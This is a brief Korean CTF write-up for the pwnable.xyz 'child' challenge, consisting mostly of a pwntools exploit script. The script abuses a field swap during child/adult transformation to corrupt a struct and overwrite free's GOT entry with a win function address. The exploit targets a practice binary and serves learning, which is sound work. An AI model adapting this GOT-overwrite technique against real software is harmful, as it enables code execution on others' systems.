pwn/pwnable.xyz
pwnable.xyz / child
lok2h4rd
2022. 5. 27. 00:16
transform을 통해 child -> adult 또는 adult -> child로 이때 이동할 때 child와 adult의 job와 age가 뒤바뀌어 사용된다
이걸 통해 다음 child를 변조할 수 있고 free got주소에 win함수 넣었다
from pwn import *
#context.log_level = "debug"
p = remote("svc.pwnable.xyz", 30038)
#p = process("./child")
#gdb.attach(p)
def child(name, job):
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"Age: ")
p.sendline(b"17")
p.recvuntil(b"Name: ")
p.send(name)
p.recvuntil(b"Job: ")
p.send(job)
def transform(idx, name, job = 0):
p.recvuntil(b"> ")
p.send(b"5")
p.recvuntil(b"Person: ")
p.sendline(str(idx))
p.recvuntil(b"Name: ")
p.sendline(name)
p.recvuntil(b"Job: ")
p.send(job)
def age_up(idx):
p.recvuntil(b"> ")
p.sendline(b"3")
p.recvuntil(b"Person: ")
p.sendline(str(idx))
def delete(idx):
p.recvuntil(b"> ")
p.sendline(b"6")
p.recvuntil(b"Person: ")
p.sendline(str(idx))
free_got = 0x602018
win = 0x4009b3
child(b"AAA", b"BBB")
child(b"AAA", b"BBB")
age_up(0)
age_up(0)
transform(0, b"AAA", b"BBB")
for i in range(0x30):
age_up(0)
sleep(0.1)
transform(0, b"1", b"1")
p.recvuntil(b"> Age: ")
p.send(b"\n")
delete(0)
payload = p64(free_got)
payload += p64(1)
child(b"1", payload)
transform(1, p64(win), b"1")
delete(0)
p.interactive()